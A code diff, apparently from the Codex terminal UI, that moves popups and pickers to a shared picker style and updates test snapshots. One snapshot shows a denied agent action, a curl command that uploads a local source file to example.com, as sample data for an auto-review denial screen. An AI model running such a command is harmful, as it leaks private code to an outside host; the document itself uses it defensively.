crate::clipboard_copy::copy_to_clipboard(text, format) diff --git a/codex-rs/tui/src/chatwidget/luna_reserve_model.rs b/codex-rs/tui/src/chatwidget/luna_reserve_model.rs index 3fe8f46625..3ebd839e8d 100644 --- a/codex-rs/tui/src/chatwidget/luna_reserve_model.rs +++ b/codex-rs/tui/src/chatwidget/luna_reserve_model.rs @@ -1,6 +1,7 @@ //! The Reserve-only /model picker uses normal-model metadata while keeping Reserve routing. use super::*; +use crate::bottom_pane::popup_consts::picker_hint_line_for_keymap; use crate::model_catalog::LUNA_MODEL; use crate::model_catalog::LUNA_RESERVE_MODEL; @@ -46,9 +47,10 @@ impl ChatWidget { self.show_model_selection_view( vec![LUNA_RESERVE_MODEL.to_string()], SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(view_id), header, - footer_hint: Some(self.bottom_pane.standard_popup_hint_line()), + footer_hint: Some(picker_hint_line_for_keymap(&self.bottom_pane.list_keymap())), items: vec![SelectionItem { name, description, @@ -58,7 +60,7 @@ impl ChatWidget { dismiss_parent_on_child_accept: !single_supported_effort, ..Default::default() }], - ..Default::default() + ..SelectionViewParams::picker() }, ); } diff --git a/codex-rs/tui/src/chatwidget/misalignment_policy.rs b/codex-rs/tui/src/chatwidget/misalignment_policy.rs index 1be4ed3307..7191b085f4 100644 --- a/codex-rs/tui/src/chatwidget/misalignment_policy.rs +++ b/codex-rs/tui/src/chatwidget/misalignment_policy.rs @@ -166,6 +166,7 @@ impl ChatWidget { ); } self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(PRECAUTION_VIEW), header: Box::new( Paragraph::new(vec![ @@ -178,7 +179,7 @@ impl ChatWidget { ), items, allow_cancel: false, - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -203,6 +204,7 @@ impl ChatWidget { let can_continue = review.continuation_message().is_some(); self.bottom_pane.dismiss_view_by_id(PRECAUTION_VIEW); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(PRECAUTION_VIEW), title: Some("Chat paused as a precaution".to_string()), items: vec![ @@ -223,7 +225,7 @@ impl ChatWidget { }, ], allow_cancel: false, - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/model_popups.rs b/codex-rs/tui/src/chatwidget/model_popups.rs index 06fe99c841..66cd36942d 100644 --- a/codex-rs/tui/src/chatwidget/model_popups.rs +++ b/codex-rs/tui/src/chatwidget/model_popups.rs @@ -42,15 +42,14 @@ impl ChatWidget { pub(super) fn model_menu_header(&self, title: &str, subtitle: &str) -> Box { let title = title.to_string(); let subtitle = subtitle.to_string(); - let mut header = ColumnRenderable::new(); - header.push(Line::from(title.bold())); + let mut header = vec![Line::from(title.bold())]; if !subtitle.is_empty() { header.push(Line::from(subtitle.dim())); } if let Some(warning) = self.model_menu_warning_line() { header.push(warning); } - Box::new(header) + Box::new(Paragraph::new(header).wrap(Wrap { trim: false })) } fn model_menu_warning_line(&self) -> Option> { @@ -191,11 +190,11 @@ impl ChatWidget { self.show_model_selection_view( model_ids, SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(MODEL_SELECTION_VIEW_ID), - footer_hint: Some(standard_popup_hint_line()), items, header, - ..Default::default() + ..SelectionViewParams::picker() }, ); } @@ -284,11 +283,11 @@ impl ChatWidget { self.show_model_selection_view( model_ids, SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(view_id), - footer_hint: Some(self.bottom_pane.standard_popup_hint_line()), items, header, - ..Default::default() + ..SelectionViewParams::picker() }, ); } @@ -451,9 +450,9 @@ impl ChatWidget { })]; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some(PLAN_MODE_REASONING_SCOPE_TITLE.to_string()), subtitle: Some(subtitle), - footer_hint: Some(standard_popup_hint_line()), items: vec![ SelectionItem { name: PLAN_MODE_REASONING_SCOPE_PLAN_ONLY.to_string(), @@ -470,7 +469,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); self.notify(Notification::PlanModePrompt { title: PLAN_MODE_REASONING_SCOPE_TITLE.to_string(), @@ -639,17 +638,17 @@ impl ChatWidget { }); } - let mut header = ColumnRenderable::new(); - header.push(Line::from( + let header = Paragraph::new(Line::from( format!("Select Reasoning Level for {model_label}").bold(), - )); + )) + .wrap(Wrap { trim: false }); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(header), - footer_hint: Some(standard_popup_hint_line()), items, initial_selected_idx, - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -707,14 +706,16 @@ impl ChatWidget { }); } - let mut header = ColumnRenderable::new(); - header.push(Line::from("Advanced Reasoning".bold())); - header.push(Line::from("⚠ Consumes usage limits faster".cyan())); + let header = Paragraph::new(vec![ + Line::from("Advanced Reasoning".bold()), + Line::from("⚠ Consumes usage limits faster".cyan()), + ]) + .wrap(Wrap { trim: false }); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(header), - footer_hint: Some(standard_popup_hint_line()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/permission_discovery.rs b/codex-rs/tui/src/chatwidget/permission_discovery.rs index 44d5df49e1..52ef53445f 100644 --- a/codex-rs/tui/src/chatwidget/permission_discovery.rs +++ b/codex-rs/tui/src/chatwidget/permission_discovery.rs @@ -18,15 +18,15 @@ impl ChatWidget { let request_id = uuid::Uuid::new_v4(); self.permission_popup_request_id = Some(request_id); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(VIEW_ID), - title: Some("Update Model Permissions".to_string()), + title: Some("Update Model Permissions".into()), items: vec![SelectionItem { name: "Loading permission profiles…".to_string(), is_disabled: true, ..Default::default() }], - footer_hint: Some(standard_popup_hint_line()), - ..Default::default() + ..SelectionViewParams::picker() }); self.app_event_tx.send(AppEvent::FetchPermissionProfiles { request_id, @@ -65,6 +65,7 @@ impl ChatWidget { self.open_permission_profiles_popup(discovery); } Err(message) => self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(VIEW_ID), title: Some("Update Model Permissions".to_string()), subtitle: Some(message), @@ -74,8 +75,7 @@ impl ChatWidget { dismiss_on_select: true, ..Default::default() }], - footer_hint: Some(standard_popup_hint_line()), - ..Default::default() + ..SelectionViewParams::picker() }), } } diff --git a/codex-rs/tui/src/chatwidget/permission_popups.rs b/codex-rs/tui/src/chatwidget/permission_popups.rs index a833dd7106..e2caea2cf7 100644 --- a/codex-rs/tui/src/chatwidget/permission_popups.rs +++ b/codex-rs/tui/src/chatwidget/permission_popups.rs @@ -1,10 +1,11 @@ //! Permission and approval popup flows for `ChatWidget`. //! -//! This module owns the generic permission pickers and confirmation surfaces; +//! This module presents permission choices and confirmations in the shared picker; //! Windows-specific sandbox prompting lives beside it in //! `windows_sandbox_prompts`. use super::*; +use crate::style::accent_color; use codex_protocol::openai_models::MODEL_SPECIALTY_CYBER; impl ChatWidget { @@ -165,19 +166,18 @@ impl ChatWidget { let footer_note = show_elevate_sandbox_hint.then(|| { vec![ "The non-admin sandbox protects your files and prevents network access under most circumstances. However, it carries greater risk if prompt injected. To upgrade to the default sandbox, run ".dim(), - "/setup-default-sandbox".cyan(), + "/setup-default-sandbox".fg(accent_color()), ".".dim(), ] .into() }); self.bottom_pane.show_selection_view(SelectionViewParams { - title: Some("Update Model Permissions".to_string()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, footer_note, - footer_hint: Some(standard_popup_hint_line()), items, - header: Box::new(()), - ..Default::default() + title: Some("Update Model Permissions".into()), + ..SelectionViewParams::picker() }); } @@ -230,13 +230,19 @@ impl ChatWidget { ); self.bottom_pane.show_selection_view(SelectionViewParams { - title: Some("Auto-review Denials".to_string()), - subtitle: Some("Select a denied action to approve.".to_string()), - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, + header: Box::new( + Paragraph::new(vec![ + Line::from("Auto-review Denials".bold()), + Line::from("Select a denied action to approve.".dim()), + ]) + .wrap(Wrap { trim: false }), + ), items, is_searchable: true, - col_width_mode: ColumnWidthMode::AutoAllRows, - ..Default::default() + // Denial rationales remain visible before authorizing a retry. + description_layout: crate::bottom_pane::SelectionDescriptionLayout::Columns, + ..SelectionViewParams::picker() }); self.request_redraw(); } @@ -506,10 +512,10 @@ impl ChatWidget { ]; self.bottom_pane.show_selection_view(SelectionViewParams { - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, items, header: Box::new(header), - ..Default::default() + ..SelectionViewParams::picker() }); } } diff --git a/codex-rs/tui/src/chatwidget/permissions_menu.rs b/codex-rs/tui/src/chatwidget/permissions_menu.rs index 80bf23d5a6..4c497144b4 100644 --- a/codex-rs/tui/src/chatwidget/permissions_menu.rs +++ b/codex-rs/tui/src/chatwidget/permissions_menu.rs @@ -1,4 +1,4 @@ -//! Named permission choices from the server catalog, using the existing selection actions. +//! Named permission choices in the shared picker, using the server catalog and existing actions. use super::*; use crate::permission_discovery::PermissionDiscovery; @@ -163,16 +163,15 @@ impl ChatWidget { )); } self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(super::permission_discovery::VIEW_ID), + items, + title: Some("Update Model Permissions".to_string()), subtitle: discovery .profiles .is_empty() .then(|| "No permission profiles returned by the server.".to_string()), - title: Some("Update Model Permissions".to_string()), - footer_hint: Some(standard_popup_hint_line()), - items, - header: Box::new(()), - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/pets.rs b/codex-rs/tui/src/chatwidget/pets.rs index c38ffc32f1..92cfc2af3f 100644 --- a/codex-rs/tui/src/chatwidget/pets.rs +++ b/codex-rs/tui/src/chatwidget/pets.rs @@ -294,6 +294,7 @@ impl ChatWidget { self.pet_picker_preview_state.clear(); self.pet_picker_preview_pet = None; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(PET_SELECTION_LOADING_VIEW_ID), title: Some("Loading Pet".to_string()), subtitle: Some("Preparing the terminal pet.".to_string()), @@ -302,7 +303,7 @@ impl ChatWidget { is_disabled: true, ..Default::default() }], - ..Default::default() + ..SelectionViewParams::picker() }); self.pet_selection_load_request_id } diff --git a/codex-rs/tui/src/chatwidget/plan_implementation.rs b/codex-rs/tui/src/chatwidget/plan_implementation.rs index dd810dc493..6698416972 100644 --- a/codex-rs/tui/src/chatwidget/plan_implementation.rs +++ b/codex-rs/tui/src/chatwidget/plan_implementation.rs @@ -75,6 +75,7 @@ pub(super) fn selection_view_params( ); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some(PLAN_IMPLEMENTATION_TITLE.to_string()), subtitle: None, footer_hint: Some(standard_popup_hint_line()), @@ -109,6 +110,6 @@ pub(super) fn selection_view_params( ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() } } diff --git a/codex-rs/tui/src/chatwidget/rate_limits.rs b/codex-rs/tui/src/chatwidget/rate_limits.rs index ca1269d22f..9542c5cfa2 100644 --- a/codex-rs/tui/src/chatwidget/rate_limits.rs +++ b/codex-rs/tui/src/chatwidget/rate_limits.rs @@ -507,12 +507,13 @@ impl ChatWidget { ]; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_SWITCH_PROMPT_VIEW_ID), title: Some("Approaching rate limits".to_string()), subtitle: Some(format!("Switch to {switch_model} for lower credit usage?")), footer_hint: Some(standard_popup_hint_line()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/realtime_settings.rs b/codex-rs/tui/src/chatwidget/realtime_settings.rs index 0ea6a16aa2..66e83f706c 100644 --- a/codex-rs/tui/src/chatwidget/realtime_settings.rs +++ b/codex-rs/tui/src/chatwidget/realtime_settings.rs @@ -25,11 +25,12 @@ impl ChatWidget { }) .collect(); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Select voice".to_string()), subtitle: Some("Applies to your next voice conversation.".to_string()), footer_hint: Some(standard_popup_hint_line()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/review_popups.rs b/codex-rs/tui/src/chatwidget/review_popups.rs index 15edd4cff7..00ea85b854 100644 --- a/codex-rs/tui/src/chatwidget/review_popups.rs +++ b/codex-rs/tui/src/chatwidget/review_popups.rs @@ -1,6 +1,10 @@ -//! Review preset selection and custom review prompt surfaces. +//! Review presets, searchable Git choices, and instructions in the shared picker. +//! +//! Child cancellation restores the preset menu; accepting a target dismisses both. use super::*; +use crate::bottom_pane::PickerSurface; +use codex_git_utils::CommitLogEntry; impl ChatWidget { pub(crate) fn on_review_started(&mut self) { @@ -58,10 +62,10 @@ impl ChatWidget { }); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Select a review preset".into()), - footer_hint: Some(standard_popup_hint_line()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -75,7 +79,7 @@ impl ChatWidget { for option in branches { let branch = option.clone(); items.push(SelectionItem { - name: format!("{current_branch} -> {branch}"), + name: branch.clone(), actions: vec![Box::new(move |tx3: &AppEventSender| { tx3.review(ReviewTarget::BaseBranch { branch: branch.clone(), @@ -88,8 +92,10 @@ impl ChatWidget { } self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, + picker_surface: PickerSurface::Panel, title: Some("Select a base branch".to_string()), - footer_hint: Some(standard_popup_hint_line()), + subtitle: Some(format!("Current branch: {current_branch}")), items, is_searchable: true, search_placeholder: Some("Type to search branches".to_string()), @@ -99,7 +105,10 @@ impl ChatWidget { pub(crate) async fn show_review_commit_picker(&mut self, cwd: &Path) { let commits = recent_commits(cwd, /*limit*/ 100).await; + self.show_review_commits(commits); + } + pub(super) fn show_review_commits(&mut self, commits: Vec) { let mut items: Vec = Vec::with_capacity(commits.len()); for entry in commits { let subject = entry.subject.clone(); @@ -121,8 +130,9 @@ impl ChatWidget { } self.bottom_pane.show_selection_view(SelectionViewParams { - title: Some("Select a commit to review".to_string()), - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, + picker_surface: PickerSurface::Panel, + title: Some("Select a commit to review".into()), items, is_searchable: true, search_placeholder: Some("Type to search commits".to_string()), @@ -150,38 +160,3 @@ impl ChatWidget { self.bottom_pane.show_text_prompt(view); } } - -#[cfg(test)] -pub(crate) fn show_review_commit_picker_with_entries( - chat: &mut ChatWidget, - entries: Vec, -) { - let mut items: Vec = Vec::with_capacity(entries.len()); - for entry in entries { - let subject = entry.subject.clone(); - let sha = entry.sha.clone(); - let search_val = format!("{subject} {sha}"); - - items.push(SelectionItem { - name: subject.clone(), - actions: vec![Box::new(move |tx3: &AppEventSender| { - tx3.review(ReviewTarget::Commit { - sha: sha.clone(), - title: Some(subject.clone()), - }); - })], - dismiss_on_select: true, - search_value: Some(search_val), - ..Default::default() - }); - } - - chat.bottom_pane.show_selection_view(SelectionViewParams { - title: Some("Select a commit to review".to_string()), - footer_hint: Some(standard_popup_hint_line()), - items, - is_searchable: true, - search_placeholder: Some("Type to search commits".to_string()), - ..Default::default() - }); -} diff --git a/codex-rs/tui/src/chatwidget/safety_buffering.rs b/codex-rs/tui/src/chatwidget/safety_buffering.rs index b158568520..18488307ef 100644 --- a/codex-rs/tui/src/chatwidget/safety_buffering.rs +++ b/codex-rs/tui/src/chatwidget/safety_buffering.rs @@ -227,12 +227,13 @@ impl ChatWidget { }, ]); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(SAFETY_BUFFERING_PROMPT_VIEW_ID), header: Box::new(SafetyBufferingHeader(header)), footer_note: Some(Line::from(SAFETY_BUFFERING_FOOTER).dim()), footer_hint: Some(Line::default()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -258,6 +259,7 @@ impl ChatWidget { self.bottom_pane .dismiss_view_by_id(SAFETY_BUFFERING_PROMPT_VIEW_ID); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(SAFETY_BUFFERING_PROMPT_VIEW_ID), header: Box::new(SafetyBufferingHeader(vec![ "Stop this attempt and retry?".bold().into(), @@ -289,7 +291,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); } } diff --git a/codex-rs/tui/src/chatwidget/session_model_selection.rs b/codex-rs/tui/src/chatwidget/session_model_selection.rs index 20a362c329..ac9b5c8e66 100644 --- a/codex-rs/tui/src/chatwidget/session_model_selection.rs +++ b/codex-rs/tui/src/chatwidget/session_model_selection.rs @@ -56,15 +56,15 @@ impl ChatWidget { let mut hints = Vec::new(); if let Some(accept) = keymap.primary_hint(ListAction::Accept) { let label = if effort == Some(ReasoningEffortConfig::Ultra) { - " to apply · " + " apply · " } else { - " to set as default · " + " default · " }; - hints.extend([accept.into(), label.into()]); + hints.extend([accept.into(), label.dim()]); } - hints.extend([key.into(), " for this session".into()]); + hints.extend([key.into(), " session".dim()]); if let Some(cancel) = keymap.primary_hint(ListAction::Cancel) { - hints.extend([" · ".into(), cancel.into(), " to go back".into()]); + hints.extend([" · ".dim(), cancel.into(), " back".dim()]); } let warning = effort .as_ref() diff --git a/codex-rs/tui/src/chatwidget/skills.rs b/codex-rs/tui/src/chatwidget/skills.rs index 77fa911757..e59bcf07ee 100644 --- a/codex-rs/tui/src/chatwidget/skills.rs +++ b/codex-rs/tui/src/chatwidget/skills.rs @@ -49,11 +49,12 @@ impl ChatWidget { ]; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Skills".to_string()), subtitle: Some("Choose an action".to_string()), footer_hint: Some(standard_popup_hint_line()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/slash_dispatch.rs b/codex-rs/tui/src/chatwidget/slash_dispatch.rs index 5e17ad614c..222a5a0f56 100644 --- a/codex-rs/tui/src/chatwidget/slash_dispatch.rs +++ b/codex-rs/tui/src/chatwidget/slash_dispatch.rs @@ -206,6 +206,7 @@ impl ChatWidget { } SlashCommand::Archive => { self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Archive this session?".to_string()), subtitle: Some( "Are you sure? This will archive the current session".to_string(), @@ -228,12 +229,13 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); self.request_redraw(); } SlashCommand::Delete => { self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Delete this session?".to_string()), subtitle: Some( "Cannot be undone. Subagent threads will also be deleted.".to_string(), @@ -261,7 +263,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); self.request_redraw(); } diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings.snap index 96cfe1c9ba..531afad01a 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings.snap @@ -1,11 +1,11 @@ --- source: tui/src/chatwidget/realtime_settings_tests.rs -assertion_line: 17 expression: "render_bottom_popup(&chat, 80)" --- Select voice Applies to your next voice conversation. + 1. juniper › 2. maple (current) 3. spruce @@ -14,5 +14,5 @@ expression: "render_bottom_popup(&chat, 80)" 6. breeze 7. arbor 8. sol - - Press enter to confirm or esc to go back +↓ + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings_server_catalog.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings_server_catalog.snap index 901314ac55..a78990f3dd 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings_server_catalog.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__realtime_settings__tests__voice_settings_server_catalog.snap @@ -1,12 +1,12 @@ --- source: tui/src/chatwidget/realtime_settings_tests.rs -assertion_line: 67 expression: "render_bottom_popup(&chat, 80)" --- Select voice Applies to your next voice conversation. + › 1. cove (current) 2. maple - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__advanced_only_reasoning_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__advanced_only_reasoning_selection_popup.snap index 73953ef457..56a913b728 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__advanced_only_reasoning_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__advanced_only_reasoning_selection_popup.snap @@ -4,6 +4,7 @@ expression: popup --- Select Reasoning Level for GPT-5.5 + › 1. More reasoning… Ultra consumes usage limits faster - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap index 2a49a6ee7f..1b67e00387 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap @@ -1,7 +1,10 @@ --- source: tui/src/chatwidget/tests/exec_flow.rs -expression: contents +assertion_line: 1743 +expression: normalize_snapshot_paths(contents) --- + + Would you like to make the following edits? Description: The model wants to apply changes diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap index bfa5173474..3268643cd6 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap @@ -4,6 +4,7 @@ expression: popup --- Update Model Permissions + › 1. Ask for approval Codex can read and edit files in the current workspace, and run commands. Approval is required to access the internet or edit other files. @@ -11,4 +12,4 @@ expression: popup the internet without asking for approval. Exercise caution when using. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap index abd2450bf7..f9c24c04e0 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap @@ -4,14 +4,15 @@ expression: popup --- Update Model Permissions + › 1. Read Only (current) Codex can read files in the current workspace. Approval is required to edit files or access the internet. 2. Ask for approval Codex can read and edit files in the current workspace, and run commands. Approval is required to access the internet or edit other files. - 3. Full Access Codex can edit files outside this workspace and - access the internet without asking for approval. - Exercise caution when using. + 3. Full Access Codex can edit files outside this workspace and access + the internet without asking for approval. Exercise + caution when using. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap index c8f9befd37..15fb58a39b 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap @@ -1,13 +1,18 @@ --- source: tui/src/chatwidget/tests/guardian.rs +assertion_line: 210 expression: popup --- Auto-review Denials Select a denied action to approve. - Action Rationale -› curl -sS --data-binary @core/src/codex.rs https://example.com Would send a local source file to an external - endpoint. - Press enter to confirm or esc to go back + Action Rationale +› curl -sS --data-binary @… Would send a + local source + file to an + external + endpoint. + + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_astra_reasoning.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_astra_reasoning.snap index 048edd15c0..5defe22380 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_astra_reasoning.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_astra_reasoning.snap @@ -4,10 +4,11 @@ expression: "render_bottom_popup(&chat, 100)" --- Select Reasoning Level for GPT-6-Astra + › 1. Low (default) Fast responses with lighter reasoning 2. Medium Balances speed and reasoning depth for everyday tasks 3. High Greater reasoning depth for complex problems 4. Extra high Extra high reasoning depth for complex problems 5. More reasoning… Max consumes usage limits faster - enter to set as default · s for this session · esc to go back + enter default · s session · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_models.snap index 72da650f0b..67d0e645b0 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_mantle_models.snap @@ -1,9 +1,11 @@ --- source: tui/src/chatwidget/tests/bedrock_catalog_tests.rs +assertion_line: 42 expression: "render_bottom_popup(&chat, 100)" --- Select Model and Effort + › 1. GPT-5.6 Sol (current) Latest frontier agentic coding model. 2. GPT-6-Astra Our most capable model for complex, demanding work. 3. GPT-5.6 Terra Balanced agentic coding model for everyday work. @@ -11,4 +13,4 @@ expression: "render_bottom_popup(&chat, 100)" 5. GPT-5.5 Frontier model for complex coding, research, and real-world work. 6. GPT-5.4 Strong model for everyday coding. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_astra_reasoning.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_astra_reasoning.snap index 22ac0f5924..f74507aa3c 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_astra_reasoning.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_astra_reasoning.snap @@ -4,10 +4,11 @@ expression: "render_bottom_popup(&chat, 100)" --- Select Reasoning Level for GPT-6-Astra (Global) + › 1. Low (default) Fast responses with lighter reasoning 2. Medium Balances speed and reasoning depth for everyday tasks 3. High Greater reasoning depth for complex problems 4. Extra high Extra high reasoning depth for complex problems 5. More reasoning… Max consumes usage limits faster - enter to set as default · s for this session · esc to go back + enter default · s session · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_models.snap index 59417959c9..692b122b06 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__bedrock_runtime_models.snap @@ -1,9 +1,11 @@ --- source: tui/src/chatwidget/tests/bedrock_catalog_tests.rs +assertion_line: 42 expression: "render_bottom_popup(&chat, 100)" --- Select Model and Effort + › 1. GPT-5.6 Sol (Global) (current) Latest frontier agentic coding model. 2. GPT-6-Astra (Global) Our most capable model for complex, demanding work. 3. GPT-5.6 Terra (Global) Balanced agentic coding model for everyday work. @@ -13,4 +15,4 @@ expression: "render_bottom_popup(&chat, 100)" 7. GPT-5.6 Terra (US cross-region) Balanced agentic coding model for everyday work. 8. GPT-5.6 Luna (US cross-region) Fast and affordable agentic coding model. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__clipped_full_access_confirmation.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__clipped_full_access_confirmation.snap new file mode 100644 index 0000000000..e9077bbc3e --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__clipped_full_access_confirmation.snap @@ -0,0 +1,33 @@ +--- +source: tui/src/chatwidget/tests/permission_picker_tests.rs +expression: "snapshots.join(\"\\n\\n\")" +--- +specialty=None 40x10 + + Enable full access? + When Codex runs with full access, it + can 